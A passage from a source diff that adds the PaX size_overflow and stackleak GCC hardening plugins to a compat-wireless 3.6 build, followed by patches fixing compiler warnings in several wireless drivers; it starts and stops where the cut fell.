++ ++ if (is_gimple_constant(lhs)) ++ return NULL_TREE; ++ ++ if (TREE_CODE(lhs) == ADDR_EXPR) ++ return NULL_TREE; ++ ++ if (code == REAL_TYPE) ++ return NULL_TREE; ++ ++ gcc_assert(code == INTEGER_TYPE || code == POINTER_TYPE || code == BOOLEAN_TYPE || code == ENUMERAL_TYPE); ++ ++ ++ def_stmt = get_def_stmt(lhs); ++ ++ if (!def_stmt) ++ return NULL_TREE; ++ ++ if (gimple_plf(def_stmt, MY_STMT)) ++ return lhs; ++ ++ if (pointer_set_contains(visited, def_stmt)) ++ return expand_visited(def_stmt); ++ ++ switch (gimple_code(def_stmt)) { ++ case GIMPLE_NOP: ++ return NULL_TREE; ++ case GIMPLE_PHI: ++ return build_new_phi(visited, lhs); ++ case GIMPLE_CALL: ++ case GIMPLE_ASM: ++ return create_assign(visited, def_stmt, lhs, AFTER_STMT); ++ case GIMPLE_ASSIGN: ++ switch (gimple_num_ops(def_stmt)) { ++ case 2: ++ return handle_unary_ops(visited, lhs); ++ case 3: ++ return handle_binary_ops(visited, lhs); ++#if BUILDING_GCC_VERSION >= 4007 ++ case 4: ++ return handle_ternary_ops(visited, lhs); ++#endif ++ } ++ default: ++ debug_gimple_stmt(def_stmt); ++ error("%s: unknown gimple code", __func__); ++ gcc_unreachable(); ++ } ++} ++ ++static void change_function_arg(gimple stmt, const_tree origarg, unsigned int argnum, tree newarg) ++{ ++ const_gimple assign; ++ gimple_stmt_iterator gsi = gsi_for_stmt(stmt); ++ tree origtype = TREE_TYPE(origarg); ++ ++ gcc_assert(gimple_code(stmt) == GIMPLE_CALL); ++ ++ assign = build_cast_stmt(origtype, newarg, CREATE_NEW_VAR, &gsi, BEFORE_STMT); ++ ++ gimple_call_set_arg(stmt, argnum, gimple_get_lhs(assign)); ++ update_stmt(stmt); ++} ++ ++static bool get_function_arg(unsigned int* argnum, const_tree fndecl) ++{ ++ const char *origid; ++ tree arg; ++ const_tree origarg; ++ ++ if (!DECL_ABSTRACT_ORIGIN(fndecl)) ++ return true; ++ ++ origarg = DECL_ARGUMENTS(DECL_ABSTRACT_ORIGIN(fndecl)); ++ while (origarg && *argnum) { ++ (*argnum)--; ++ origarg = TREE_CHAIN(origarg); ++ } ++ ++ gcc_assert(*argnum == 0); ++ ++ gcc_assert(origarg != NULL_TREE); ++ origid = NAME(origarg); ++ *argnum = 0; ++ for (arg = DECL_ARGUMENTS(fndecl); arg; arg = TREE_CHAIN(arg)) { ++ if (!strcmp(origid, NAME(arg))) ++ return true; ++ (*argnum)++; ++ } ++ return false; ++} ++ ++static bool skip_types(const_tree var) ++{ ++ switch (TREE_CODE(var)) { ++ case ADDR_EXPR: ++#if BUILDING_GCC_VERSION >= 4006 ++ case MEM_REF: ++#endif ++ case ARRAY_REF: ++ case BIT_FIELD_REF: ++ case INDIRECT_REF: ++ case TARGET_MEM_REF: ++ case VAR_DECL: ++ return true; ++ default: ++ break; ++ } ++ return false; ++} ++ ++static bool walk_phi(struct pointer_set_t *visited, const_tree result) ++{ ++ gimple phi = get_def_stmt(result); ++ unsigned int i, n = gimple_phi_num_args(phi); ++ ++ if (!phi) ++ return false; ++ ++ pointer_set_insert(visited, phi); ++ for (i = 0; i < n; i++) { ++ const_tree arg = gimple_phi_arg_def(phi, i); ++ if (pre_expand(visited, arg)) ++ return true; ++ } ++ return false; ++} ++ ++static bool walk_unary_ops(struct pointer_set_t *visited, const_tree lhs) ++{ ++ gimple def_stmt = get_def_stmt(lhs); ++ const_tree rhs; ++ ++ if (!def_stmt) ++ return false; ++ ++ rhs = gimple_assign_rhs1(def_stmt); ++ if (pre_expand(visited, rhs)) ++ return true; ++ return false; ++} ++ ++static bool walk_binary_ops(struct pointer_set_t *visited, const_tree lhs) ++{ ++ bool rhs1_found, rhs2_found; ++ gimple def_stmt = get_def_stmt(lhs); ++ const_tree rhs1, rhs2; ++ ++ if (!def_stmt) ++ return false; ++ ++ rhs1 = gimple_assign_rhs1(def_stmt); ++ rhs2 = gimple_assign_rhs2(def_stmt); ++ rhs1_found = pre_expand(visited, rhs1); ++ rhs2_found = pre_expand(visited, rhs2); ++ ++ return rhs1_found || rhs2_found; ++} ++ ++static const_tree search_field_decl(const_tree comp_ref) ++{ ++ const_tree field = NULL_TREE; ++ unsigned int i, len = TREE_OPERAND_LENGTH(comp_ref); ++ ++ for (i = 0; i < len; i++) { ++ field = TREE_OPERAND(comp_ref, i); ++ if (TREE_CODE(field) == FIELD_DECL) ++ break; ++ } ++ gcc_assert(TREE_CODE(field) == FIELD_DECL); ++ return field; ++} ++ ++static enum marked mark_status(const_tree fndecl, unsigned int argnum) ++{ ++ const_tree attr, p; ++ ++ attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(fndecl)); ++ if (!attr || !TREE_VALUE(attr)) ++ return MARKED_NO; ++ ++ p = TREE_VALUE(attr); ++ if (!TREE_INT_CST_LOW(TREE_VALUE(p))) ++ return MARKED_NOT_INTENTIONAL; ++ ++ do { ++ if (argnum == TREE_INT_CST_LOW(TREE_VALUE(p))) ++ return MARKED_YES; ++ p = TREE_CHAIN(p); ++ } while (p); ++ ++ return MARKED_NO; ++} ++ ++static void print_missing_msg(tree func, unsigned int argnum) ++{ ++ unsigned int new_hash; ++ size_t len; ++ unsigned char tree_codes[CODES_LIMIT]; ++ location_t loc = DECL_SOURCE_LOCATION(func); ++ const char *curfunc = get_asm_name(func); ++ ++ len = get_function_decl(func, tree_codes); ++ new_hash = get_hash_num(curfunc, (const char *) tree_codes, len, 0); ++ inform(loc, "Function %s is missing from the size_overflow hash table +%s+%u+%u+", curfunc, curfunc, argnum, new_hash); ++} ++ ++static unsigned int search_missing_attribute(const_tree arg) ++{ ++ const_tree type = TREE_TYPE(arg); ++ tree func = get_original_function_decl(current_function_decl); ++ unsigned int argnum; ++ const struct size_overflow_hash *hash; ++ ++ gcc_assert(TREE_CODE(arg) != COMPONENT_REF); ++ ++ if (TREE_CODE(type) == POINTER_TYPE) ++ return 0; ++ ++ argnum = find_arg_number(arg, func); ++ if (argnum == 0) ++ return 0; ++ ++ if (lookup_attribute("size_overflow", DECL_ATTRIBUTES(func))) ++ return argnum; ++ ++ hash = get_function_hash(func); ++ if (!hash || !(hash->param & (1U << argnum))) { ++ print_missing_msg(func, argnum); ++ return 0; ++ } ++ return argnum; ++} ++ ++static bool is_already_marked(const_tree lhs) ++{ ++ unsigned int argnum; ++ const_tree fndecl; ++ ++ argnum = search_missing_attribute(lhs); ++ fndecl = get_original_function_decl(current_function_decl); ++ if (argnum && mark_status(fndecl, argnum) == MARKED_YES) ++ return true; ++ return false; ++} ++ ++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs) ++{ ++ const_gimple def_stmt; ++ ++ if (is_gimple_constant(lhs)) ++ return false; ++ ++ if (skip_types(lhs)) ++ return false; ++ ++ if (TREE_CODE(lhs) == PARM_DECL) ++ return is_already_marked(lhs); ++ ++ if (TREE_CODE(lhs) == COMPONENT_REF) { ++ const_tree field, attr; ++ ++ field = search_field_decl(lhs); ++ attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(field)); ++ if (!attr || !TREE_VALUE(attr)) ++ return false; ++ return true; ++ } ++ ++ def_stmt = get_def_stmt(lhs); ++ ++ if (!def_stmt) ++ return false; ++ ++ if (pointer_set_contains(visited, def_stmt)) ++ return false; ++ ++ switch (gimple_code(def_stmt)) { ++ case GIMPLE_NOP: ++ if (TREE_CODE(SSA_NAME_VAR(lhs)) == PARM_DECL) ++ return is_already_marked(lhs); ++ return false; ++ case GIMPLE_PHI: ++ return walk_phi(visited, lhs); ++ case GIMPLE_CALL: ++ case GIMPLE_ASM: ++ return false; ++ case GIMPLE_ASSIGN: ++ switch (gimple_num_ops(def_stmt)) { ++ case 2: ++ return walk_unary_ops(visited, lhs); ++ case 3: ++ return walk_binary_ops(visited, lhs); ++ } ++ default: ++ debug_gimple_stmt((gimple)def_stmt); ++ error("%s: unknown gimple code", __func__); ++ gcc_unreachable(); ++ } ++} ++ ++static bool search_attributes(tree fndecl, const_tree arg, unsigned int argnum) ++{ ++ struct pointer_set_t *visited; ++ bool is_found; ++ enum marked is_marked; ++ location_t loc; ++ ++ visited = pointer_set_create(); ++ is_found = pre_expand(visited, arg); ++ pointer_set_destroy(visited); ++ ++ is_marked = mark_status(fndecl, argnum + 1); ++ if ((is_found && is_marked == MARKED_YES) || is_marked == MARKED_NOT_INTENTIONAL) ++ return true; ++ ++ if (is_found) { ++ loc = DECL_SOURCE_LOCATION(fndecl); ++ inform(loc, "The intentional_overflow attribute is missing from +%s+%u+", get_asm_name(fndecl), argnum + 1); ++ return true; ++ } ++ return false; ++} ++ ++static void handle_function_arg(gimple stmt, tree fndecl, unsigned int argnum) ++{ ++ struct pointer_set_t *visited; ++ tree arg, newarg; ++ bool match; ++ ++ match = get_function_arg(&argnum, fndecl); ++ if (!match) ++ return; ++ gcc_assert(gimple_call_num_args(stmt) > argnum); ++ arg = gimple_call_arg(stmt, argnum); ++ if (arg == NULL_TREE) ++ return; ++ ++ if (is_gimple_constant(arg)) ++ return; ++ ++ if (search_attributes(fndecl, arg, argnum)) ++ return; ++ ++ if (TREE_CODE(arg) != SSA_NAME) ++ return; ++ ++ check_arg_type(arg); ++ ++ visited = pointer_set_create(); ++ newarg = expand(visited, arg); ++ pointer_set_destroy(visited); ++ ++ if (newarg == NULL_TREE) ++ return; ++ ++ change_function_arg(stmt, arg, argnum, newarg); ++ ++ check_size_overflow(stmt, TREE_TYPE(newarg), newarg, arg, BEFORE_STMT); ++} ++ ++static void handle_function_by_attribute(gimple stmt, const_tree attr, tree fndecl) ++{ ++ tree p = TREE_VALUE(attr); ++ do { ++ handle_function_arg(stmt, fndecl, TREE_INT_CST_LOW(TREE_VALUE(p))-1); ++ p = TREE_CHAIN(p); ++ } while (p); ++} ++ ++static void handle_function_by_hash(gimple stmt, tree fndecl) ++{ ++ tree orig_fndecl; ++ unsigned int num; ++ const struct size_overflow_hash *hash; ++ ++ orig_fndecl = get_original_function_decl(fndecl); ++ if (C_DECL_IMPLICIT(orig_fndecl)) ++ return; ++ hash = get_function_hash(orig_fndecl); ++ if (!hash) ++ return; ++ ++ for (num = 1; num <= MAX_PARAM; num++) ++ if (hash->param & (1U << num)) ++ handle_function_arg(stmt, fndecl, num - 1); ++} ++ ++static void set_plf_false(void) ++{ ++ basic_block bb; ++ ++ FOR_ALL_BB(bb) { ++ gimple_stmt_iterator si; ++ ++ for (si = gsi_start_bb(bb); !gsi_end_p(si); gsi_next(&si)) ++ gimple_set_plf(gsi_stmt(si), MY_STMT, false); ++ for (si = gsi_start_phis(bb); !gsi_end_p(si); gsi_next(&si)) ++ gimple_set_plf(gsi_stmt(si), MY_STMT, false); ++ } ++} ++ ++static unsigned int handle_function(void) ++{ ++ basic_block next, bb = ENTRY_BLOCK_PTR->next_bb; ++ ++ set_plf_false(); ++ ++ do { ++ gimple_stmt_iterator gsi; ++ next = bb->next_bb; ++ ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ tree fndecl, attr; ++ gimple stmt = gsi_stmt(gsi); ++ ++ if (!(is_gimple_call(stmt))) ++ continue; ++ fndecl = gimple_call_fndecl(stmt); ++ if (fndecl == NULL_TREE) ++ continue; ++ if (gimple_call_num_args(stmt) == 0) ++ continue; ++ attr = lookup_attribute("size_overflow", DECL_ATTRIBUTES(fndecl)); ++ if (!attr || !TREE_VALUE(attr)) ++ handle_function_by_hash(stmt, fndecl); ++ else ++ handle_function_by_attribute(stmt, attr, fndecl); ++ gsi = gsi_for_stmt(stmt); ++ next = gimple_bb(stmt)->next_bb; ++ } ++ bb = next; ++ } while (bb); ++ return 0; ++} ++ ++static struct gimple_opt_pass size_overflow_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "size_overflow", ++ .gate = NULL, ++ .execute = handle_function, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = PROP_cfg | PROP_referenced_vars, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi | TODO_cleanup_cfg | TODO_ggc_collect | TODO_verify_flow ++ } ++}; ++ ++static void start_unit_callback(void __unused *gcc_data, void __unused *user_data) ++{ ++ tree fntype; ++ ++ const_char_ptr_type_node = build_pointer_type(build_type_variant(char_type_node, 1, 0)); ++ ++ // void report_size_overflow(const char *loc_file, unsigned int loc_line, const char *current_func, const char *ssa_var) ++ fntype = build_function_type_list(void_type_node, ++ const_char_ptr_type_node, ++ unsigned_type_node, ++ const_char_ptr_type_node, ++ const_char_ptr_type_node, ++ NULL_TREE); ++ report_size_overflow_decl = build_fn_decl("report_size_overflow", fntype); ++ ++ DECL_ASSEMBLER_NAME(report_size_overflow_decl); ++ TREE_PUBLIC(report_size_overflow_decl) = 1; ++ DECL_EXTERNAL(report_size_overflow_decl) = 1; ++ DECL_ARTIFICIAL(report_size_overflow_decl) = 1; ++ TREE_THIS_VOLATILE(report_size_overflow_decl) = 1; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ int i; ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ bool enable = true; ++ ++ struct register_pass_info size_overflow_pass_info = { ++ .pass = &size_overflow_pass.pass, ++ .reference_pass_name = "ssa", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ for (i = 0; i < argc; ++i) { ++ if (!strcmp(argv[i].key, "no-size-overflow")) { ++ enable = false; ++ continue; ++ } ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &size_overflow_plugin_info); ++ if (enable) { ++ register_callback("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &size_overflow_pass_info); ++ } ++ register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL); ++ ++ return 0; ++} +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/stackleak_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/stackleak_plugin.c +--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/stackleak_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/stackleak_plugin.c 2012-10-15 17:30:59.835924531 +0000 +@@ -0,0 +1,313 @@ ++/* ++ * Copyright 2011 by the PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to help implement various PaX features ++ * ++ * - track lowest stack pointer ++ * ++ * TODO: ++ * - initialize all local variables ++ * ++ * BUGS: ++ * - none known ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++ ++extern void print_gimple_stmt(FILE *, gimple, int, int); ++ ++int plugin_is_GPL_compatible; ++ ++static int track_frame_size = -1; ++static const char track_function[] = "pax_track_stack"; ++static const char check_function[] = "pax_check_alloca"; ++static bool init_locals; ++ ++static struct plugin_info stackleak_plugin_info = { ++ .version = "201203140940", ++ .help = "track-lowest-sp=nn\ttrack sp in functions whose frame size is at least nn bytes\n" ++// "initialize-locals\t\tforcibly initialize all stack frames\n" ++}; ++ ++static bool gate_stackleak_track_stack(void); ++static unsigned int execute_stackleak_tree_instrument(void); ++static unsigned int execute_stackleak_final(void); ++ ++static struct gimple_opt_pass stackleak_tree_instrument_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "stackleak_tree_instrument", ++ .gate = gate_stackleak_track_stack, ++ .execute = execute_stackleak_tree_instrument, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = PROP_gimple_leh | PROP_cfg, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa ++ } ++}; ++ ++static struct rtl_opt_pass stackleak_final_rtl_opt_pass = { ++ .pass = { ++ .type = RTL_PASS, ++ .name = "stackleak_final", ++ .gate = gate_stackleak_track_stack, ++ .execute = execute_stackleak_final, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_dump_func ++ } ++}; ++ ++static bool gate_stackleak_track_stack(void) ++{ ++ return track_frame_size >= 0; ++} ++ ++static void stackleak_check_alloca(gimple_stmt_iterator *gsi) ++{ ++ gimple check_alloca; ++ tree fntype, fndecl, alloca_size; ++ ++ fntype = build_function_type_list(void_type_node, long_unsigned_type_node, NULL_TREE); ++ fndecl = build_fn_decl(check_function, fntype); ++ DECL_ASSEMBLER_NAME(fndecl); // for LTO ++ ++ // insert call to void pax_check_alloca(unsigned long size) ++ alloca_size = gimple_call_arg(gsi_stmt(*gsi), 0); ++ check_alloca = gimple_build_call(fndecl, 1, alloca_size); ++ gsi_insert_before(gsi, check_alloca, GSI_SAME_STMT); ++} ++ ++static void stackleak_add_instrumentation(gimple_stmt_iterator *gsi) ++{ ++ gimple track_stack; ++ tree fntype, fndecl; ++ ++ fntype = build_function_type_list(void_type_node, NULL_TREE); ++ fndecl = build_fn_decl(track_function, fntype); ++ DECL_ASSEMBLER_NAME(fndecl); // for LTO ++ ++ // insert call to void pax_track_stack(void) ++ track_stack = gimple_build_call(fndecl, 0); ++ gsi_insert_after(gsi, track_stack, GSI_CONTINUE_LINKING); ++} ++ ++#if BUILDING_GCC_VERSION == 4005 ++static bool gimple_call_builtin_p(gimple stmt, enum built_in_function code) ++{ ++ tree fndecl; ++ ++ if (!is_gimple_call(stmt)) ++ return false; ++ fndecl = gimple_call_fndecl(stmt); ++ if (!fndecl) ++ return false; ++ if (DECL_BUILT_IN_CLASS(fndecl) != BUILT_IN_NORMAL) ++ return false; ++// print_node(stderr, "pax", fndecl, 4); ++ return DECL_FUNCTION_CODE(fndecl) == code; ++} ++#endif ++ ++static bool is_alloca(gimple stmt) ++{ ++ if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA)) ++ return true; ++ ++#if BUILDING_GCC_VERSION >= 4007 ++ if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA_WITH_ALIGN)) ++ return true; ++#endif ++ ++ return false; ++} ++ ++static unsigned int execute_stackleak_tree_instrument(void) ++{ ++ basic_block bb, entry_bb; ++ bool prologue_instrumented = false, is_leaf = true; ++ ++ entry_bb = ENTRY_BLOCK_PTR_FOR_FUNCTION(cfun)->next_bb; ++ ++ // 1. loop through BBs and GIMPLE statements ++ FOR_EACH_BB(bb) { ++ gimple_stmt_iterator gsi; ++ ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ gimple stmt; ++ ++ stmt = gsi_stmt(gsi); ++ ++ if (is_gimple_call(stmt)) ++ is_leaf = false; ++ ++ // gimple match: align 8 built-in BUILT_IN_NORMAL:BUILT_IN_ALLOCA attributes ++ if (!is_alloca(stmt)) ++ continue; ++ ++ // 2. insert stack overflow check before each __builtin_alloca call ++ stackleak_check_alloca(&gsi); ++ ++ // 3. insert track call after each __builtin_alloca call ++ stackleak_add_instrumentation(&gsi); ++ if (bb == entry_bb) ++ prologue_instrumented = true; ++ } ++ } ++ ++ // special cases for some bad linux code: taking the address of static inline functions will materialize them ++ // but we mustn't instrument some of them as the resulting stack alignment required by the function call ABI ++ // will break other assumptions regarding the expected (but not otherwise enforced) register clobbering ABI. ++ // case in point: native_save_fl on amd64 when optimized for size clobbers rdx if it were instrumented here. ++ if (is_leaf && !TREE_PUBLIC(current_function_decl) && DECL_DECLARED_INLINE_P(current_function_decl)) ++ return 0; ++ if (is_leaf && !strncmp(IDENTIFIER_POINTER(DECL_NAME(current_function_decl)), "_paravirt_", 10)) ++ return 0; ++ ++ // 4. insert track call at the beginning ++ if (!prologue_instrumented) { ++ gimple_stmt_iterator gsi; ++ ++ bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest; ++ if (dom_info_available_p(CDI_DOMINATORS)) ++ set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR); ++ gsi = gsi_start_bb(bb); ++ stackleak_add_instrumentation(&gsi); ++ } ++ ++ return 0; ++} ++ ++static unsigned int execute_stackleak_final(void) ++{ ++ rtx insn; ++ ++ if (cfun->calls_alloca) ++ return 0; ++ ++ // keep calls only if function frame is big enough ++ if (get_frame_size() >= track_frame_size) ++ return 0; ++ ++ // 1. find pax_track_stack calls ++ for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) { ++ // rtl match: (call_insn 8 7 9 3 (call (mem (symbol_ref ("pax_track_stack") [flags 0x41] ) [0 S1 A8]) (4)) -1 (nil) (nil)) ++ rtx body; ++ ++ if (!CALL_P(insn)) ++ continue; ++ body = PATTERN(insn); ++ if (GET_CODE(body) != CALL) ++ continue; ++ body = XEXP(body, 0); ++ if (GET_CODE(body) != MEM) ++ continue; ++ body = XEXP(body, 0); ++ if (GET_CODE(body) != SYMBOL_REF) ++ continue; ++ if (strcmp(XSTR(body, 0), track_function)) ++ continue; ++// warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size); ++ // 2. delete call ++ insn = delete_insn_and_edges(insn); ++#if BUILDING_GCC_VERSION >= 4007 ++ if (GET_CODE(insn) == NOTE && NOTE_KIND(insn) == NOTE_INSN_CALL_ARG_LOCATION) ++ insn = delete_insn_and_edges(insn); ++#endif ++ } ++ ++// print_simple_rtl(stderr, get_insns()); ++// print_rtl(stderr, get_insns()); ++// warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size); ++ ++ return 0; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ int i; ++ struct register_pass_info stackleak_tree_instrument_pass_info = { ++ .pass = &stackleak_tree_instrument_pass.pass, ++// .reference_pass_name = "tree_profile", ++ .reference_pass_name = "optimized", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_BEFORE ++ }; ++ struct register_pass_info stackleak_final_pass_info = { ++ .pass = &stackleak_final_rtl_opt_pass.pass, ++ .reference_pass_name = "final", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_BEFORE ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &stackleak_plugin_info); ++ ++ for (i = 0; i < argc; ++i) { ++ if (!strcmp(argv[i].key, "track-lowest-sp")) { ++ if (!argv[i].value) { ++ error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ continue; ++ } ++ track_frame_size = atoi(argv[i].value); ++ if (argv[i].value[0] < '0' || argv[i].value[0] > '9' || track_frame_size < 0) ++ error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value); ++ continue; ++ } ++ if (!strcmp(argv[i].key, "initialize-locals")) { ++ if (argv[i].value) { ++ error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value); ++ continue; ++ } ++ init_locals = true; ++ continue; ++ } ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ } ++ ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_tree_instrument_pass_info); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_final_pass_info); ++ ++ return 0; ++} diff --git a/net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec-warnings.patch b/net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec-warnings.patch new file mode 100644 index 00000000..825b4092 --- /dev/null +++ b/net-wireless/compat-wireless/files/compat-wireless-3.6.6-grsec-warnings.patch @@ -0,0 +1,177 @@ +Fixes for: +drivers/net/wireless/ath/wil6210/cfg80211.c:527:2: warning: initialization from incompatible pointer type [enabled by default] +drivers/net/wireless/ath/wil6210/cfg80211.c:527:2: warning: (near initialization for ‘wil_cfg80211_ops.scan’) [enabled by default] +drivers/net/wireless/ath/wil6210/cfg80211.c:534:2: warning: initialization from incompatible pointer type [enabled by default] +drivers/net/wireless/ath/wil6210/cfg80211.c:534:2: warning: (near initialization for ‘wil_cfg80211_ops.mgmt_tx’) [enabled by default] +drivers/net/wireless/ath/wil6210/cfg80211.c:535:2: warning: initialization from incompatible pointer type [enabled by default] +drivers/net/wireless/ath/wil6210/cfg80211.c:535:2: warning: (near initialization for ‘wil_cfg80211_ops.mgmt_frame_register’) [enabled by default] +--- drivers/net/wireless/ath/wil6210/cfg80211.c ++++ drivers/net/wireless/ath/wil6210/cfg80211.c +@@ -351,6 +351,12 @@ + return wmi_send_cmd(wil, &wmi_scan); + } + ++static int wil_cfg80211_scan_no_ndev(struct wiphy *wiphy, ++ struct cfg80211_scan_request *request) ++{ ++ return wil_cfg80211_scan(wiphy, NULL, request); ++} ++ + static int wil_cfg80211_connect(struct wiphy *wiphy, struct net_device *ndev, + struct cfg80211_connect_params *sme) + { +@@ -486,7 +492,7 @@ + return 0; + } + +-static int wil_mgmt_tx(struct wiphy *wiphy, struct net_device *ndev, ++static int wil_mgmt_tx(struct wiphy *wiphy, struct wireless_dev *ndev, + struct ieee80211_channel *chan, bool offchan, + enum nl80211_channel_type channel_type, + bool channel_type_valid, unsigned int wait, +@@ -502,7 +508,7 @@ + } + + static void wil_mgmt_frame_register(struct wiphy *wiphy, +- struct net_device *ndev, u16 frame_type, bool reg) ++ struct wireless_dev *ndev, u16 frame_type, bool reg) + { + struct wil6210_priv *wil = wiphy_to_wil(wiphy); + wil_info(wil, "%s()\n", __func__); +@@ -524,7 +530,7 @@ + } + + static struct cfg80211_ops wil_cfg80211_ops = { +- .scan = wil_cfg80211_scan, ++ .scan = wil_cfg80211_scan_no_ndev, + .connect = wil_cfg80211_connect, + .disconnect = wil_cfg80211_disconnect, + .set_tx_power = wil_cfg80211_set_txpower, +Fixes for: +drivers/net/wireless/ath/ath6kl/sdio.c: In function ‘ath6kl_sdio_alloc_prep_scat_req’: +drivers/net/wireless/ath/ath6kl/sdio.c:1478:1: warning: find_arg_number: cannot find the buf_sz argument in ath6kl_sdio_alloc_prep_scat_req [enabled by default] +drivers/net/wireless/ath/ath6kl/sdio.c:1478:1: warning: find_arg_number: cannot find the sg_sz argument in ath6kl_sdio_alloc_prep_scat_req [enabled by default] +--- drivers/net/wireless/ath/ath6kl/sdio.c ++++ drivers/net/wireless/ath/ath6kl/sdio.c +@@ -341,11 +341,14 @@ + scat_list_sz = (n_scat_entry - 1) * sizeof(struct hif_scatter_item); + scat_req_sz = sizeof(*s_req) + scat_list_sz; + +- if (!virt_scat) ++ if (!virt_scat) { + sg_sz = sizeof(struct scatterlist) * n_scat_entry; +- else ++ buf_sz = 0; ++ } else { ++ sg_sz = 0; + buf_sz = 2 * L1_CACHE_BYTES + + ATH6KL_MAX_TRANSFER_SIZE_PER_SCATTER; ++ } + + for (i = 0; i < n_scat_req; i++) { + /* allocate the scatter request */ +Fixes for: +drivers/net/wireless/ipw2x00/libipw_wx.c:526:21: warning: unused variable ‘dev’ [-Wunused-variable] +--- drivers/net/wireless/ipw2x00/libipw_wx.c ++++ drivers/net/wireless/ipw2x00/libipw_wx.c +@@ -523,7 +523,7 @@ + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) + { +- struct net_device *dev = ieee->dev; ++ // struct net_device *dev = ieee->dev; + struct iw_point *encoding = &wrqu->encoding; + struct iw_encode_ext *ext = (struct iw_encode_ext *)extra; + int i, idx, ret = 0; +@@ -599,7 +599,7 @@ + break; + default: + LIBIPW_DEBUG_WX("%s: unknown crypto alg %d\n", +- dev->name, ext->alg); ++ ieee->dev->name, ext->alg); + ret = -EINVAL; + goto done; + } +@@ -611,7 +611,7 @@ + } + if (ops == NULL) { + LIBIPW_DEBUG_WX("%s: unknown crypto alg %d\n", +- dev->name, ext->alg); ++ ieee->dev->name, ext->alg); + ret = -EINVAL; + goto done; + } +@@ -640,7 +640,7 @@ + if (ext->key_len > 0 && (*crypt)->ops->set_key && + (*crypt)->ops->set_key(ext->key, ext->key_len, ext->rx_seq, + (*crypt)->priv) < 0) { +- 